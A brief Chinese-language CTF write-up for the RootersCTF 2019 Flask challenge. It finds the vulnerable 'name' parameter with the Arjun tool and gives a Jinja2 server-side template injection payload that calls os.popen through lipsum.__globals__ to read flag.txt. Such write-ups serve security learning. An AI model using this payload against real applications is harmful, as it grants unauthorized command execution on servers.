[RootersCTF2019]I_＜3_Flask

WP

一道简单的SSTI，主要的难点还是找注入的参数。
学习了利用arjun这个HTTP参数发现工具：
Arjun
发现注入点是name参数。

然后简单的SSTI一下就可以了：

?name={
    
    {
    
    lipsum.__globals__.os.popen('cat flag.txt').read()}}